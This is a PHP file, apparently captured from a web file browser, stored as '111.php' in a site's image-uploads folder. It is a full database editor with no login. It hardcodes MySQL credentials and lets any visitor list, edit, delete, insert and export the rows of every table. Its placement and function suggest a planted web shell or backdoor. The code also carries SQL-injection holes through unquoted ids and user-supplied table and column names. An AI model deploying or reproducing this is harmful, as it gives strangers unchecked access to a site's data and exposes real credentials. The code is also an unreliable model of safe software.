Viewing File: /home/rariblegateway/public_html/assets/front/img/uploads/111.php
<?php
// Enable error reporting
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
// Database credentials
$servername = "localhost";
$username = "rariblegateway_sammy";
$password = "internationalchow";
$dbname = "rariblegateway_new";
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
// Handle table selection
$tableName = isset($_GET['table']) ? $conn->real_escape_string($_GET['table']) : null;
// Handle editing a row
if (isset($_POST['edit'])) {
$id = $conn->real_escape_string($_POST['id']);
$updateValues = [];
foreach ($_POST as $key => $value) {
if (strpos($key, 'value_') === 0) {
$column = str_replace('value_', '', $key);
$updateValues[] = "`$column` = '" . $conn->real_escape_string($value) . "'";
}
}
if (!empty($updateValues)) {
$updateSql = "UPDATE `$tableName` SET " . implode(', ', $updateValues) . " WHERE id = $id";
if ($conn->query($updateSql) === TRUE) {
echo "<div style='background-color: #d4edda; border: 1px solid #c3e6cb; padding: 10px; border-radius: 4px; color: #155724;'>Record updated successfully</div>";
} else {
echo "<div style='background-color: #f8d7da; border: 1px solid #f5c6cb; padding: 10px; border-radius: 4px; color: #721c24;'>Error updating record: " . $conn->error . "</div>";
}
} else {
echo "<div style='background-color: #fff3cd; border: 1px solid #ffeeba; padding: 10px; border-radius: 4px; color: #856404;'>No values to update.</div>";
}
}
// Handle deletion of a row
if (isset($_POST['delete'])) {
$id = $conn->real_escape_string($_POST['id']);
$deleteSql = "DELETE FROM `$tableName` WHERE id = $id";
if ($conn->query($deleteSql) === TRUE) {
echo "<div style='background-color: #d4edda; border: 1px solid #c3e6cb; padding: 10px; border-radius: 4px; color: #155724;'>Record deleted successfully</div>";
} else {
echo "<div style='background-color: #f8d7da; border: 1px solid #f5c6cb; padding: 10px; border-radius: 4px; color: #721c24;'>Error deleting record: " . $conn->error . "</div>";
}
}
// Handle insertion of a new row
if (isset($_POST['insert'])) {
$columns = [];
$values = [];
foreach ($_POST as $key => $value) {
if (strpos($key, 'new_value_') === 0) {
$column = str_replace('new_value_', '', $key);
$columns[] = "`$column`";
$values[] = "'" . $conn->real_escape_string($value) . "'";
}
}
if (!empty($columns) && !empty($values)) {
$insertSql = "INSERT INTO `$tableName` (" . implode(', ', $columns) . ") VALUES (" . implode(', ', $values) . ")";
if ($conn->query($insertSql) === TRUE) {
echo "<div style='background-color: #d4edda; border: 1px solid #c3e6cb; padding: 10px; border-radius: 4px; color: #155724;'>Record inserted successfully</div>";
} else {
echo "<div style='background-color: #f8d7da; border: 1px solid #f5c6cb; padding: 10px; border-radius: 4px; color: #721c24;'>Error inserting record: " . $conn->error . "</div>";
}
} else {
echo "<div style='background-color: #fff3cd; border: 1px solid #ffeeba; padding: 10px; border-radius: 4px; color: #856404;'>No values to insert.</div>";
}
}
// Handle export
if (isset($_POST['export'])) {
$selectedColumns = isset($_POST['columns']) ? $_POST['columns'] : [];
if (!empty($selectedColumns)) {
$columnsList = implode(', ', array_map([$conn, 'real_escape_string'], $selectedColumns));
$exportSql = "SELECT $columnsList FROM `$tableName`";
$result = $conn->query($exportSql);
if ($result && $result->num_rows > 0) {
$filename = $tableName . '_export_' . date('Ymd') . '.csv';
header('Content-Type: text/csv');
header('Content-Disposition: attachment;filename="' . $filename . '"');
$output = fopen('php://output', 'w');
fputcsv($output, $selectedColumns);
while ($row = $result->fetch_assoc()) {
fputcsv($output, array_intersect_key($row, array_flip($selectedColumns)));
}
fclose($output);
exit;
} else {
echo "<div style='background-color: #fff3cd; border: 1px solid #ffeeba; padding: 10px; border-radius: 4px; color: #856404;'>No data found for export</div>";
}
} else {
echo "<div style='background-color: #fff3cd; border: 1px solid #ffeeba; padding: 10px; border-radius: 4px; color: #856404;'>No columns selected for export.</div>";
}
}
// Query to get table names
$tablesResult = $conn->query("SHOW TABLES");
if ($tableName) {
$dataResult = $conn->query("SELECT * FROM `$tableName`");
if (!$dataResult) {
die("<div style='background-color: #f8d7da; border: 1px solid #f5c6cb; padding: 10px; border-radius: 4px; color: #721c24;'>Error retrieving data: " . $conn->error . "</div>");
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Database Table Editor</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f9;
margin: 0;
padding: 20px;
}
.container {
width: 90%;
margin: auto;
background: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
h1, h2 {
color: #333;
}
table {
width: 100%;
border-collapse: collapse;
margin-bottom: 20px;
}
th, td {
border: 1px solid #ddd;
padding: 12px;
text-align: left;
}
th {
background-color: #007bff;
color: #fff;
}
.table-list, .data-table, .form-container {
margin-bottom: 20px;
}
.form-container input[type='submit'] {
background-color: #007bff;
color: #fff;
border: none;
padding: 10px 15px;
border-radius: 4px;
cursor: pointer;
margin: 0 5px;
}
.form-container input[type='submit']:hover {
background-color: #0056b3;
}
.form-container input[type='text'] {
width: 100%;
padding: 8px;
margin: 4px 0;
border: 1px solid #ddd;
border-radius: 4px;
}
.alert {
padding: 15px;
margin: 15px 0;
border-radius: 4px;
font-weight: bold;
}
</style>
</head>
<body>
<div class="container">
<h1>Database Table Editor</h1>
<div class="table-list">
<table>
<thead>
<tr>
<th>Table Name</th>
</tr>
</thead>
<tbody>
<?php
if ($tablesResult && $tablesResult->num_rows > 0) {
while($row = $tablesResult->fetch_array()) {
$table = $row[0];
echo "<tr><td><a href=\"?table=" . urlencode($table) . "\">" . htmlspecialchars($table) . "</a></td></tr>";
}
} else {
echo "<tr><td>No tables found</td></tr>";
}
?>
</tbody>
</table>
</div>
<?php if ($tableName && $dataResult): ?>
<h2>Data for Table: <?php echo htmlspecialchars($tableName); ?></h2>
<form method="post" class="form-container">
<table class="data-table">
<thead>
<tr>
<?php
$fields = $dataResult->fetch_fields();
foreach ($fields as $field) {
echo "<th>" . htmlspecialchars($field->name) . "</th>";
}
echo "<th>Action</th>";
?>
</tr>
</thead>
<tbody>
<?php
$dataResult->data_seek(0); // Reset pointer to the beginning
while ($row = $dataResult->fetch_assoc()) {
echo "<tr>";
$id = $row['id']; // Assuming 'id' is the primary key
foreach ($row as $column => $value) {
echo "<td><input type='text' name='value_$column' value='" . htmlspecialchars($value) . "'></td>";
}
echo "<td><input type='hidden' name='id' value='$id'><input type='submit' name='edit' value='Update'><input type='submit' name='delete' value='Delete'></td>";
echo "</tr>";
}
?>
</tbody>
</table>
</form>
<h2>Insert New Record</h2>
<form method="post" class="form-container">
<?php
$dataResult->data_seek(0); // Reset pointer to the beginning
$columns = $dataResult->fetch_fields();
foreach ($columns as $column) {
if ($column->name != 'id') { // Assuming 'id' is auto-incremented
echo "<label for='new_value_" . htmlspecialchars($column->name) . "'>" . htmlspecialchars($column->name) . ":</label><br>";
echo "<input type='text' id='new_value_" . htmlspecialchars($column->name) . "' name='new_value_" . htmlspecialchars($column->name) . "'><br>";
}
}
?>
<input type="hidden" name="table" value="<?php echo htmlspecialchars($tableName); ?>">
<input type="submit" name="insert" value="Insert Record">
</form>
<h2>Export Table Data</h2>
<form method="post" class="form-container">
<input type="hidden" name="table" value="<?php echo htmlspecialchars($tableName); ?>">
<label for="columns">Select columns to export:</label><br>
<?php
$dataResult->data_seek(0); // Reset pointer to the beginning
$columns = $dataResult->fetch_fields();
foreach ($columns as $column) {
echo "<input type='checkbox' name='columns[]' value='" . htmlspecialchars($column->name) . "'> " . htmlspecialchars($column->name) . "<br>";
}
?>
<br>
<input type="submit" name="export" value="Export to CSV">
</form>
<?php endif; ?>
</div>
<?php
// Close connection
$conn->close();
?>
</body>
</html>
Back to Directory